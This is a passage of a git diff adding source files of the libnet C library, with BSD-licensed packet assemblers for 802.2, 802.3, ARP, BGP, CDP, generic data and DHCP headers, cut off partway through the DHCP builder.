BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_802_2(u_int8_t dsap, u_int8_t ssap, u_int8_t control, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_802_2_hdr _802_2_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_802_2_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_2_H); + if (p == NULL) + { + return (-1); + } + + memset(&_802_2_hdr, 0, sizeof(_802_2_hdr)); + _802_2_hdr.llc_dsap = dsap; + _802_2_hdr.llc_ssap = ssap; + _802_2_hdr.llc_control = control; + + n = libnet_pblock_append(l, p, (u_int8_t *)&_802_2_hdr, LIBNET_802_2_H); + if (n == (u_int32_t)-1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_802_2_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_802_2snap(u_int8_t dsap, u_int8_t ssap, u_int8_t control, +u_int8_t *oui, u_int16_t type, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_802_2snap_hdr _802_2_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_802_2SNAP_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_2SNAP_H); + if (p == NULL) + { + return (-1); + } + + memset(&_802_2_hdr, 0, sizeof(_802_2_hdr)); + _802_2_hdr.snap_dsap = dsap; + _802_2_hdr.snap_ssap = ssap; + _802_2_hdr.snap_control = control; + memcpy(_802_2_hdr.snap_oui, oui, 3); + _802_2_hdr.snap_type = htons(type); + + n = libnet_pblock_append(l, p, (u_int8_t *)&_802_2_hdr, LIBNET_802_2SNAP_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_802_2SNAP_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +/* EOF */ diff --git a/libnet/src/libnet_build_802.3.c b/libnet/src/libnet_build_802.3.c new file mode 100644 index 0000000..2943b12 --- /dev/null +++ b/libnet/src/libnet_build_802.3.c @@ -0,0 +1,88 @@ +/* + * $Id: libnet_build_802.3.c,v 1.10 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_802_3.c - 802.3 packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_802_3(u_int8_t *dst, u_int8_t *src, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_802_3_hdr _802_3_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_802_3_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_3_H); + if (p == NULL) + { + return (-1); + } + + memset(&_802_3_hdr, 0, sizeof(_802_3_hdr)); + memcpy(_802_3_hdr._802_3_dhost, dst, ETHER_ADDR_LEN); /* dest address */ + memcpy(_802_3_hdr._802_3_shost, src, ETHER_ADDR_LEN); /* src address */ + _802_3_hdr._802_3_len = htons(len); /* packet length */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&_802_3_hdr, LIBNET_802_3_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_802_3_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_arp.c b/libnet/src/libnet_build_arp.c new file mode 100644 index 0000000..816b587 --- /dev/null +++ b/libnet/src/libnet_build_arp.c @@ -0,0 +1,155 @@ +/* + * $Id: libnet_build_arp.c,v 1.13 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_arp.c - ARP packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + + +libnet_ptag_t +libnet_build_arp(u_int16_t hrd, u_int16_t pro, u_int8_t hln, u_int8_t pln, +u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, u_int8_t *tpa, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_arp_hdr arp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_ARP_H + (2 * hln) + (2 * pln) + payload_s; + h = 0; /* ARP headers have no checksum */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ARP_H); + if (p == NULL) + { + return (-1); + } + + memset(&arp_hdr, 0, sizeof(arp_hdr)); + arp_hdr.ar_hrd = htons(hrd); /* hardware address type */ + arp_hdr.ar_pro = htons(pro); /* protocol address type */ + arp_hdr.ar_hln = hln; /* hardware address length */ + arp_hdr.ar_pln = pln; /* protocol address length */ + arp_hdr.ar_op = htons(op); /* opcode command */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&arp_hdr, LIBNET_ARP_H); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + n = libnet_pblock_append(l, p, sha, hln); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + n = libnet_pblock_append(l, p, spa, pln); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + n = libnet_pblock_append(l, p, tha, hln); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + n = libnet_pblock_append(l, p, tpa, pln); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ARP_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_autobuild_arp(u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, +u_int8_t *tpa, libnet_t *l) +{ + u_short hrd; + + switch (l->link_type) + { + case 1: /* DLT_EN10MB */ + hrd = ARPHRD_ETHER; + break; + case 6: /* DLT_IEEE802 */ + hrd = ARPHRD_IEEE802; + break; + default: + hrd = 0; + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): unsupported link type\n", __func__); + return (-1); + /* add other link-layers */ + } + + return (libnet_build_arp( + hrd, /* hardware addr */ + ETHERTYPE_IP, /* protocol addr */ + 6, /* hardware addr size */ + 4, /* protocol addr size */ + op, /* operation type */ + sha, /* sender hardware addr */ + spa, /* sender protocol addr */ + tha, /* target hardware addr */ + tpa, /* target protocol addr */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet context */ + 0)); /* libnet id */ +} + +/* EOF */ diff --git a/libnet/src/libnet_build_bgp.c b/libnet/src/libnet_build_bgp.c new file mode 100644 index 0000000..937e1ee --- /dev/null +++ b/libnet/src/libnet_build_bgp.c @@ -0,0 +1,294 @@ +/* + * $Id: libnet_build_bgp.c,v 1.8 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_bgp.c - BGP packet assembler (RFC 1771) + * + * Copyright (c) 2003 Frederic Raynal <pappy@security-labs.org> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_bgp4_header(u_int8_t marker[LIBNET_BGP4_MARKER_SIZE], +u_int16_t len, u_int8_t type, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_bgp4_header_hdr bgp4_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_BGP4_HEADER_H + payload_s; /* size of memory block */ + h = 0; /* BGP headers have no checksum */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_BGP4_HEADER_H); + if (p == NULL) + { + return (-1); + } + + memset(&bgp4_hdr, 0, sizeof(bgp4_hdr)); + memcpy(bgp4_hdr.marker, marker, LIBNET_BGP4_MARKER_SIZE * sizeof(u_int8_t)); + bgp4_hdr.len = htons(len); + bgp4_hdr.type = type; + + n = libnet_pblock_append(l, p, (u_int8_t *)&bgp4_hdr, LIBNET_BGP4_HEADER_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_BGP4_HEADER_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_bgp4_open(u_int8_t version, u_int16_t src_as, u_int16_t hold_time, +u_int32_t bgp_id, u_int8_t opt_len, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + u_int16_t val; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_BGP4_OPEN_H + payload_s; /* size of memory block */ + h = 0; /* BGP msg have no checksum */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_BGP4_OPEN_H); + if (p == NULL) + { + return (-1); + } + + /* for memory alignment reason, we need to append each field separately */ + n = libnet_pblock_append(l, p, (u_int8_t *)&version, sizeof (version)); + if (n == -1) + { + goto bad; + } + + val = htons(src_as); + n = libnet_pblock_append(l, p, (u_int8_t *)&val, sizeof(src_as)); + if (n == -1) + { + goto bad; + } + + val = htons(hold_time); + n = libnet_pblock_append(l, p, (u_int8_t *)&val, sizeof(hold_time)); + if (n == -1) + { + goto bad; + } + + n = htonl(bgp_id); + n = libnet_pblock_append(l, p, (u_int8_t *)&n, sizeof(bgp_id)); + if (n == -1) + { + goto bad; + } + + n = libnet_pblock_append(l, p, (u_int8_t *)&opt_len, sizeof(opt_len)); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_BGP4_OPEN_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_bgp4_update(u_int16_t unfeasible_rt_len, u_int8_t *withdrawn_rt, +u_int16_t total_path_attr_len, u_int8_t *path_attributes, u_int16_t info_len, +u_int8_t *reachability_info, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + u_int16_t length; + + if (l == NULL) + { + return (-1); + } + + /* size of memory block */ + n = LIBNET_BGP4_UPDATE_H + unfeasible_rt_len + total_path_attr_len + + info_len + payload_s; + + /* BGP msg have no checksum */ + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_BGP4_UPDATE_H); + if (p == NULL) + { + return (-1); + } + + /* for memory alignment reason, we need to append each field separately */ + length = htons(unfeasible_rt_len); + n = libnet_pblock_append(l, p, (u_int8_t *)&length, + sizeof (unfeasible_rt_len)); + if (n == -1) + { + goto bad; + } + + if (unfeasible_rt_len && withdrawn_rt) + { + n = libnet_pblock_append(l, p, withdrawn_rt, unfeasible_rt_len); + if (n == -1) + { + goto bad; + } + } + + length = htons(total_path_attr_len); + n = libnet_pblock_append(l, p, (u_int8_t *)&length, + sizeof (total_path_attr_len)); + if (n == -1) + { + goto bad; + } + + if (total_path_attr_len && path_attributes) + { + n = libnet_pblock_append(l, p, path_attributes, total_path_attr_len); + if (n == -1) + { + goto bad; + } + } + + if (info_len && reachability_info) + { + n = libnet_pblock_append(l, p, reachability_info, info_len); + if (n == -1) + { + goto bad; + } + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_BGP4_UPDATE_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_bgp4_notification(u_int8_t err_code, u_int8_t err_subcode, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_bgp4_notification_hdr bgp4_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_BGP4_NOTIFICATION_H + + payload_s; /* size of memory block */ + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_BGP4_NOTIFICATION_H); + if (p == NULL) + { + return (-1); + } + + memset(&bgp4_hdr, 0, sizeof(bgp4_hdr)); + bgp4_hdr.err_code = err_code; + bgp4_hdr.err_subcode = err_subcode; + + n = libnet_pblock_append(l, p, (u_int8_t *)&bgp4_hdr, + LIBNET_BGP4_NOTIFICATION_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_BGP4_NOTIFICATION_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_cdp.c b/libnet/src/libnet_build_cdp.c new file mode 100644 index 0000000..ad8f052 --- /dev/null +++ b/libnet/src/libnet_build_cdp.c @@ -0,0 +1,178 @@ +/* + * $Id: libnet_build_cdp.c,v 1.10 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_cdp.c - CDP packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_cdp(u_int8_t version, u_int8_t ttl, u_int16_t sum, u_int16_t type, +u_int16_t len, u_int8_t *value, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n,h; + libnet_pblock_t *p; + struct libnet_cdp_hdr cdp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_CDP_H + len + payload_s; + h = LIBNET_CDP_H + len + payload_s; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_CDP_H); + if (p == NULL) + { + return (-1); + } + + memset(&cdp_hdr, 0, sizeof(cdp_hdr)); + cdp_hdr.cdp_version = version; + cdp_hdr.cdp_ttl = ttl; + cdp_hdr.cdp_sum = (sum ? htons(sum) : 0); + cdp_hdr.cdp_type = htons(type); + cdp_hdr.cdp_len = htons(len + 4); /* 4 bytes for len and type */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&cdp_hdr, LIBNET_CDP_H); + if (n == -1) + { + goto bad; + } + + n = libnet_pblock_append(l, p, value, len); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_CDP_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +int +/* Not Yet Implemented */ +libnet_build_cdp_value(u_int16_t type, u_int16_t len, u_int8_t *value, libnet_t *l, + libnet_ptag_t ptag) +{ + u_int32_t n; + libnet_pblock_t *p; + struct libnet_cdp_value_hdr cdp_value_hdr; + + if (l == NULL) + { + return (-1); + } + + /* + * Find the existing protocol block. + */ + p = libnet_pblock_find(l, ptag); + if (p == NULL) + { + /* err msg set in libnet_pblock_find */ + return (-1); + } + if (p->type != LIBNET_PBLOCK_CDP_H) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "libnet_build_cdp_value: ptag references different type than expected"); + return (-1); + } + + memset(&cdp_value_hdr, 0, sizeof(cdp_value_hdr)); + cdp_value_hdr.cdp_type = htons(type); + cdp_value_hdr.cdp_len = htons(len + 4); /* 4 bytes for len and type */ + + switch (type) + { + case LIBNET_CDP_DEVID: + break; + case LIBNET_CDP_ADDRESS: + break; + case LIBNET_CDP_PORTID: + break; + case LIBNET_CDP_CAPABIL: + break; + case LIBNET_CDP_VERSION: + break; + case LIBNET_CDP_PLATFORM: + break; + case LIBNET_CDP_IPPREFIX: + break; + default: + break; + } + + n = libnet_pblock_append(l, p, (u_int8_t *)&cdp_value_hdr, LIBNET_CDP_H); + if (n == -1) + { + return (-1); + } + + n = libnet_pblock_append(l, p, value, len); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + return (-1); + } + + return (1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_data.c b/libnet/src/libnet_build_data.c new file mode 100644 index 0000000..fd22cf6 --- /dev/null +++ b/libnet/src/libnet_build_data.c @@ -0,0 +1,77 @@ +/* + * $Id: libnet_build_data.c,v 1.7 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_data.c - generic data block builder + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + + +libnet_ptag_t +libnet_build_data(u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + + if (l == NULL) + { + return (-1); + } + + n = payload_s; + h = 0; /* no checksum on generic block */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_DATA_H); + if (p == NULL) + { + return (-1); + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_DATA_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_dhcp.c b/libnet/src/libnet_build_dhcp.c new file mode 100644 index 0000000..7a34d4c --- /dev/null +++ b/libnet/src/libnet_build_dhcp.c @@ -0,0 +1,156 @@ +/* + * $Id: libnet_build_dhcp.c,v 1.10 2004/03/01 20:26:12 mike Exp $ + * + * libnet + * libnet_build_dhcp.c - DHCP/BOOTP packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_dhcpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen, +u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags, +u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr, +u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_dhcpv4_hdr dhcp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_DHCPV4_H + payload_s; + h = 0; /* no checksum */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, 